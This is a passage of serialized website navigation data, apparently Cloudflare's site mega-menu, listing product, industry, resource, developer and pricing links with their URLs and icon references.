applications"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/3OvnXcltbOjD1uRiwzUpxj/6d133ac7c99643a87e1e85204c84cf8d/cloud-security-gradient_1.svg"]}],"htmlId":[0]}],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Data compliance"],"linkUrl":[0,"/data/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Streamline compliance and minimize risk"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/23tHVxEV7iBTNGQ341pBFs/9b4aeec37cac8c99cf4be12fdaf2501b/analytics-data-gradient_1.svg"]}],"htmlId":[0]}],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Post-quantum cryptography"],"linkUrl":[0,"/pqc/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Safeguard data and meet compliance standards"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/7lMWuklc2uiDavPbGuyJW7/0dbf579546ec2fa287171b693c09680f/innovation-intelligence-gradient_1.svg"]}],"htmlId":[0]}],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}]]],"rowColumnLayout":[0,"four"],"backgroundColor":[0,"transparent"],"includePipes":[0,false],"pipeColor":[0,"orange"],"contentDirection":[0,"column"]}]]],"sideColumn":[0,{"content":[1,[[0,{"rowTitle":[0],"rowNavigationLinks":[1,[[0,{"linkListTitle":[0,"Industries"],"linkListTitleUrl":[0],"subMenuItems":[1,[[0,{"linkTitle":[0,"Healthcare"],"linkUrl":[0,"/healthcare/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Banking"],"linkUrl":[0,"/banking-and-financial-services/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Retail"],"linkUrl":[0,"/retail/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Gaming"],"linkUrl":[0,"/gaming/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Public sector"],"linkUrl":[0,"/public-sector/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}]]],"button":[0],"linkListBackgroundColor":[0,"default"],"navItemType":[0,"navLinkList"]}]]],"rowColumnLayout":[0,"three"],"backgroundColor":[0,"transparent"],"includePipes":[0,true],"pipeColor":[0,"gray"],"contentDirection":[0,"row"],"sideMenuType":[0,"NavRowContainer"]}],[0,{"linkListTitle":[0,"Resources"],"linkListTitleUrl":[0,"/resource-center/"],"subMenuItems":[1,[[0,{"linkTitle":[0,"Product guides"],"linkUrl":[0,"/resource-hub/?resourcetype=Solution+%26+Product+Guides"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Reference architectures"],"linkUrl":[0,"/architecture/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Analyst reports"],"linkUrl":[0,"/analysts/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}]]],"button":[0],"linkListBackgroundColor":[0,"default"],"sideMenuType":[0,"NavLinkList"]}],[0,{"rowTitle":[0],"rowNavigationLinks":[1,[[0,{"linkListTitle":[0,"Engage"],"linkListTitleUrl":[0],"subMenuItems":[1,[[0,{"linkTitle":[0,"Events"],"linkUrl":[0,"/events/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/1ZxNQt9xUAC3dE3LyBLIDb/4e61c5448d957efab102696b97aad2c7/calendar.svg"]}],"htmlId":[0]}],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Demos"],"linkUrl":[0,"/product-demos/"],"openInNewTab":[0,false],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0,"#000000"],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/6Rx4MDGYVB9bpOaSPXRAv9/9edb40b10a9c3c771c2f1a43b5520235/traffic-legit-browser.svg"]}],"htmlId":[0]}],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Webinars"],"linkUrl":[0,"/resource-hub/?resourcetype=Webinar"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/40goabsyOIrX4J8uOj4hSI/d706427c981ead79ae03fcf955bf3097/video_play.svg"]}],"htmlId":[0]}],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Workshops"],"linkUrl":[0,"/lp/securitybuildersworkshops/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/qYXaKdeUXFWhedHg8vBS6/c360eaef6f0930769366478b6e0af50a/performance-wrench.svg"]}],"htmlId":[0]}],"iconPosition":[0,"center"]}]]],"button":[0],"linkListBackgroundColor":[0,"transparent"],"navItemType":[0,"navLinkList"]}]]],"rowColumnLayout":[0,"four"],"backgroundColor":[0,"transparent"],"includePipes":[0,false],"pipeColor":[0,"gray"],"contentDirection":[0,"row"],"sideMenuType":[0,"NavRowContainer"]}],[0,{"label":[0,"Request a demo "],"url":[0,"/plans/enterprise/demo/"],"variant":[0,"solid"],"target":[0,"_self"],"modal":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"htmlId":[0],"color":[0,"orange"],"width":[0,"narrow"],"contentAlignment":[0],"entryTitle":[0,"Request a demo "],"sideMenuType":[0,"FragmentButton"]}]]]}],"navItemType":[0,"megaMenu"]}],[0,{"menuTitle":[0,"Products"],"rows":[1,[[0,{"rowTitle":[0,"products"],"rowNavigationLinks":[1,[[0,{"linkListTitle":[0,"Workspace security"],"linkListTitleUrl":[0,"/zero-trust/products/"],"subMenuItems":[1,[[0,{"linkTitle":[0,"Zero trust network access"],"linkUrl":[0,"/zero-trust/products/access/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Secure web gateway"],"linkUrl":[0,"/zero-trust/products/gateway/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Email security"],"linkUrl":[0,"/zero-trust/products/email-security/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Cloud access security broker"],"linkUrl":[0,"/zero-trust/products/casb/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}]]],"button":[0],"linkListBackgroundColor":[0,"default"],"navItemType":[0,"navLinkList"]}],[0,{"linkListTitle":[0,"Application security"],"linkListTitleUrl":[0,"/application-services/products/"],"subMenuItems":[1,[[0,{"linkTitle":[0,"L7 DDoS protection"],"linkUrl":[0,"/ddos/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Web application firewall"],"linkUrl":[0,"/application-services/products/waf/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"API security"],"linkUrl":[0,"/application-services/products/api-shield/ "],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"start"]}],[0,{"linkTitle":[0,"Bot management"],"linkUrl":[0,"/application-services/products/bot-management/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}]]],"button":[0],"linkListBackgroundColor":[0,"default"],"navItemType":[0,"navLinkList"]}],[0,{"linkListTitle":[0,"Application performance"],"linkListTitleUrl":[0,"/application-services/products/"],"subMenuItems":[1,[[0,{"linkTitle":[0,"CDN"],"linkUrl":[0,"/application-services/products/cdn/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"DNS"],"linkUrl":[0,"/application-services/products/dns/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Smart routing"],"linkUrl":[0,"/application-services/products/argo-smart-routing/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Load balancing"],"linkUrl":[0,"/application-services/products/load-balancing/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}]]],"button":[0],"linkListBackgroundColor":[0,"default"],"navItemType":[0,"navLinkList"]}],[0,{"linkListTitle":[0,"Networking and SASE"],"linkListTitleUrl":[0,"/network-services/products/"],"subMenuItems":[1,[[0,{"linkTitle":[0,"L3/4 DDoS protection"],"linkUrl":[0,"/network-services/products/magic-transit/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"NaaS / SD-WAN"],"linkUrl":[0,"/network-services/products/magic-wan/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Firewall-as-a-service"],"linkUrl":[0,"/network-services/products/magic-firewall/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Network Interconnect"],"linkUrl":[0,"/network-services/products/network-interconnect/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}]]],"button":[0],"linkListBackgroundColor":[0,"default"],"navItemType":[0,"navLinkList"]}]]],"rowColumnLayout":[0,"four"],"backgroundColor":[0,"transparent"],"includePipes":[0,false],"pipeColor":[0,"orange"],"contentDirection":[0,"column"]}],[0,{"rowTitle":[0,"plans & pricing"],"rowNavigationLinks":[1,[[0,{"linkTitle":[0,"Enterprise plans"],"linkUrl":[0,"/plans/enterprise/externa"],"openInNewTab":[0,false],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/6u9VFzqqrg26Tyh6I29HAO/3f7b4cf11302990bd24c67ad7fddf435/Enterprise_1.svg"]}],"htmlId":[0]}],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Small business plans"],"linkUrl":[0,"/small-business/#pricing-plans-at-a-glance"],"openInNewTab":[0,false],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/1bH6GIfOcGZRbjB1P7Fq7E/6bd900b4e714b9b081d01e92e350878f/Group_48096782_1.svg"]}],"htmlId":[0]}],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Individual plans"],"linkUrl":[0,"/personal/"],"openInNewTab":[0,false],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/4W9tZTPoiq8BaBeEZtPOwR/0ecf5b3412d2bdae1f1393cfe58e14c9/Personal_1.svg"]}],"htmlId":[0]}],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Compare plans"],"linkUrl":[0,"/plans/"],"openInNewTab":[0,false],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/25cDVm7qpa5t1vK281turi/d6563b69d7d1e42d82e0578a2db7c2ee/Compare_All_Plans_1.svg"]}],"htmlId":[0]}],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}]]],"rowColumnLayout":[0,"four"],"backgroundColor":[0,"transparent"],"includePipes":[0,false],"pipeColor":[0,"orange"],"contentDirection":[0,"column"]}],[0,{"rowTitle":[0,"Global services"],"rowNavigationLinks":[1,[[0,{"linkTitle":[0,"Support and success bundles"],"linkUrl":[0,"/success-offerings/"],"openInNewTab":[0,false],"linkSubheadCopy":[0,"Optimized Cloudflare experience"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Professional services"],"linkUrl":[0,"/professional-services/"],"openInNewTab":[0,false],"linkSubheadCopy":[0,"Expert-led implementation"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Technical account management"],"linkUrl":[0,"/technical-account-management-service/"],"openInNewTab":[0,false],"linkSubheadCopy":[0,"Focused technical management "],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Security operations service"],"linkUrl":[0,"/soc-as-a-service/"],"openInNewTab":[0,false],"linkSubheadCopy":[0,"Cloudflare monitoring and response"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}]]],"rowColumnLayout":[0,"four"],"backgroundColor":[0,"white"],"includePipes":[0,false],"pipeColor":[0,"gray"],"contentDirection":[0,"column"]}]]],"sideColumn":[0,{"content":[1,[[0,{"linkTitle":[0,"Domain registration"],"linkUrl":[0,"/products/registrar/"],"openInNewTab":[0,true],"linkSubheadCopy":[0,"Buy and manage domains"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"sideMenuType":[0,"NavMenuItem"]}],[0,{"linkTitle":[0,"1.1.1.1"],"linkUrl":[0,"https://one.one.one.one/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Free DNS resolver"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"sideMenuType":[0,"NavMenuItem"]}],[0,{"linkListTitle":[0,"Resources"],"linkListTitleUrl":[0,"/resource-center/"],"subMenuItems":[1,[[0,{"linkTitle":[0,"Product guides"],"linkUrl":[0,"/resource-hub/?resourcetype=Solution+%26+Product+Guides"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Reference architectures"],"linkUrl":[0,"/architecture/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Analyst reports"],"linkUrl":[0,"/analysts/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}],[0,{"linkTitle":[0,"Product demos and tours"],"linkUrl":[0,"/lp/app-services-demo-series/"],"openInNewTab":[0],"linkSubheadCopy":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"]}]]],"button":[0],"linkListBackgroundColor":[0,"default"],"sideMenuType":[0,"NavLinkList"]}],[0,{"label":[0,"Help me choose"],"url":[0,"/about-your-website/"],"variant":[0,"solid"],"target":[0,"_self"],"modal":[0],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"htmlId":[0],"color":[0,"orange"],"width":[0,"narrow"],"contentAlignment":[0],"entryTitle":[0,"Help me choose"],"sideMenuType":[0,"FragmentButton"]}]]]}],"navItemType":[0,"megaMenu"]}],[0,{"menuTitle":[0,"Developers"],"rows":[1,[[0,{"rowTitle":[0,"documentation"],"rowNavigationLinks":[1,[[0,{"linkTitle":[0,"Developer library"],"linkUrl":[0,"https://developers.cloudflare.com/"],"openInNewTab":[0,true],"linkSubheadCopy":[0,"Documentation and guides"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Application demos"],"linkUrl":[0,"https://developers.cloudflare.com/products/"],"openInNewTab":[0,true],"linkSubheadCopy":[0,"Explore what you can build"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Tutorials"],"linkUrl":[0,"https://developers.cloudflare.com/workers/tutorials/"],"openInNewTab":[0,true],"linkSubheadCopy":[0,"Step-by-step build tutorials"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Reference architecture"],"linkUrl":[0,"https://developers.cloudflare.com/reference-architecture/"],"openInNewTab":[0,true],"linkSubheadCopy":[0,"Diagrams and design patterns"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}]]],"rowColumnLayout":[0,"four"],"backgroundColor":[0,"white"],"includePipes":[0,false],"pipeColor":[0,"gray"],"contentDirection":[0,"column"]}],[0,{"rowTitle":[0,"Products"],"rowNavigationLinks":[1,[[0,{"linkListTitle":[0,"Artificial Intelligence"],"linkListTitleUrl":[0,"/developer-platform/products/#ai-products"],"subMenuItems":[1,[[0,{"linkTitle":[0,"AI Gateway"],"linkUrl":[0,"/developer-platform/products/ai-gateway/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Observe, control AI apps"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/7yZnTRyobAq3QO8KDRjC1d/b47ad59d58a0defd05bc461de57d9492/cloudflare-gateway.svg"]}],"htmlId":[0]}],"iconPosition":[0,"start"]}],[0,{"linkTitle":[0,"Workers AI"],"linkUrl":[0,"/developer-platform/products/workers-ai/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Run ML models on our network"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/3q4jH50nSNvAobEwCdMTfS/0b0ffa2f5440e5ab6855f872a9cc13cb/intelligence.svg"]}],"htmlId":[0]}],"iconPosition":[0,"start"]}]]],"button":[0],"linkListBackgroundColor":[0,"default"],"navItemType":[0,"navLinkList"]}],[0,{"linkListTitle":[0,"Compute"],"linkListTitleUrl":[0,"/developer-platform/products/#compute-products"],"subMenuItems":[1,[[0,{"linkTitle":[0,"Observability"],"linkUrl":[0,"/developer-platform/products/workers-observability/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Logs, metrics, and traces"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/747zz7p6uwnBM4t1TysLdr/9255be2d5ecc57a13776dc6ef21b0460/Type_outline_1.svg"]}],"htmlId":[0]}],"iconPosition":[0,"start"]}],[0,{"linkTitle":[0,"Workers"],"linkUrl":[0,"/developer-platform/products/workers/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Build, deploy serverless apps"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/4SZLSkMwLsnVWJrFbxkqsQ/b468f03d2af09a8ec517687833755417/cloudflare-workers.svg"]}],"htmlId":[0]}],"iconPosition":[0,"start"]}]]],"button":[0],"linkListBackgroundColor":[0,"default"],"navItemType":[0,"navLinkList"]}],[0,{"linkListTitle":[0,"Media"],"linkListTitleUrl":[0,"/developer-platform/products/#media-products"],"subMenuItems":[1,[[0,{"linkTitle":[0,"Images"],"linkUrl":[0,"/developer-platform/products/cloudflare-images/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Transform, optimize images"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/58MrcxjQ27bFS0Qc6HgbM6/393d16e1c23598fee707fa1d1c79435d/image-orange.svg"]}],"htmlId":[0]}],"iconPosition":[0,"start"]}],[0,{"linkTitle":[0,"Realtime"],"linkUrl":[0,"/developer-platform/products/cloudflare-calls/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Build real-time audio/video apps"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/2keWTfCofj7qxjOiOjWUQ/bf8e04bd2a9dc174d0f00d7534c2bbbd/call-orange.svg"]}],"htmlId":[0]}],"iconPosition":[0,"start"]}]]],"button":[0],"linkListBackgroundColor":[0,"default"],"navItemType":[0,"navLinkList"]}],[0,{"linkListTitle":[0,"Storage & database"],"linkListTitleUrl":[0,"/developer-platform/products/#storage-database-products"],"subMenuItems":[1,[[0,{"linkTitle":[0,"D1"],"linkUrl":[0,"/developer-platform/products/d1/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Create serverless SQL databases"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/4pSxqXV0fmZ6M1KcEVXzFX/f49d923eef73cfb45cb796beb2b1aaf9/d1-orange.svg"]}],"htmlId":[0]}],"iconPosition":[0,"start"]}],[0,{"linkTitle":[0,"R2"],"linkUrl":[0,"/developer-platform/products/r2/"],"openInNewTab":[0],"linkSubheadCopy":[0,"Store data without costly egress fees"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0,{"activeStateColor":[0],"fillColor":[0],"viewBox":[0],"classNames":[0],"svgIcon":[0,{"src":[0,"https://cf-assets.www.cloudflare.com/dzlvafdwdttg/3j81zx2X1rKRldqJymrIKP/539fe5d352cd1d140e68ed34886a29ee/cloudflare-durable-objects-orange.svg"]}],"htmlId":[0]}],"iconPosition":[0,"start"]}]]],"button":[0],"linkListBackgroundColor":[0,"default"],"navItemType":[0,"navLinkList"]}]]],"rowColumnLayout":[0,"four"],"backgroundColor":[0,"white"],"includePipes":[0,false],"pipeColor":[0,"gray"],"contentDirection":[0,"column"]}],[0,{"rowTitle":[0,"Plans & Pricing"],"rowNavigationLinks":[1,[[0,{"linkTitle":[0,"Workers"],"linkUrl":[0,"/developer-platform/products/workers/#workers"],"openInNewTab":[0],"linkSubheadCopy":[0,"Build and deploy serverless apps"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"Workers KV"],"linkUrl":[0,"/developer-platform/products/workers-kv/#plan-comparison"],"openInNewTab":[0],"linkSubheadCopy":[0,"Serverless key-value store for apps"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}],[0,{"linkTitle":[0,"R2"],"linkUrl":[0,"/developer-platform/products/r2/#r2-plan-comparison"],"openInNewTab":[0],"linkSubheadCopy":[0,"Store data without costly egrees fees"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"navItemType":[0,"navMenuItem"]}]]],"rowColumnLayout":[0,"four"],"backgroundColor":[0,"white"],"includePipes":[0,false],"pipeColor":[0,"gray"],"contentDirection":[0,"column"]}]]],"sideColumn":[0,{"content":[1,[[0,{"linkTitle":[0,"Explore projects"],"linkUrl":[0,"/case-studies/?usecase=Deploy+custom+code+at+the+Edge"],"openInNewTab":[0],"linkSubheadCopy":[0,"Customer stories"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"sideMenuType":[0,"NavMenuItem"]}],[0,{"linkTitle":[0,"AI Demo in 30 seconds"],"linkUrl":[0,"https://playground.ai.cloudflare.com/"],"openInNewTab":[0,true],"linkSubheadCopy":[0,"Quick guide to get started"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"sideMenuType":[0,"NavMenuItem"]}],[0,{"linkTitle":[0,"Explore Workers Playground"],"linkUrl":[0,"https://workers.cloudflare.com/playground"],"openInNewTab":[0],"linkSubheadCopy":[0,"Build, test, and deploy"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"sideMenuType":[0,"NavMenuItem"]}],[0,{"linkTitle":[0,"Developers Discord"],"linkUrl":[0,"https://discord.com/invite/cloudflaredev"],"openInNewTab":[0,true],"linkSubheadCopy":[0,"Join the community"],"tracking":[0,{"category":[0],"action":[0],"label":[0]}],"image":[0],"icon":[0],"iconPosition":[0,"center"],"sideMenuType":[0,"NavMenuItem"]}],[0,{"label":[0,"Start 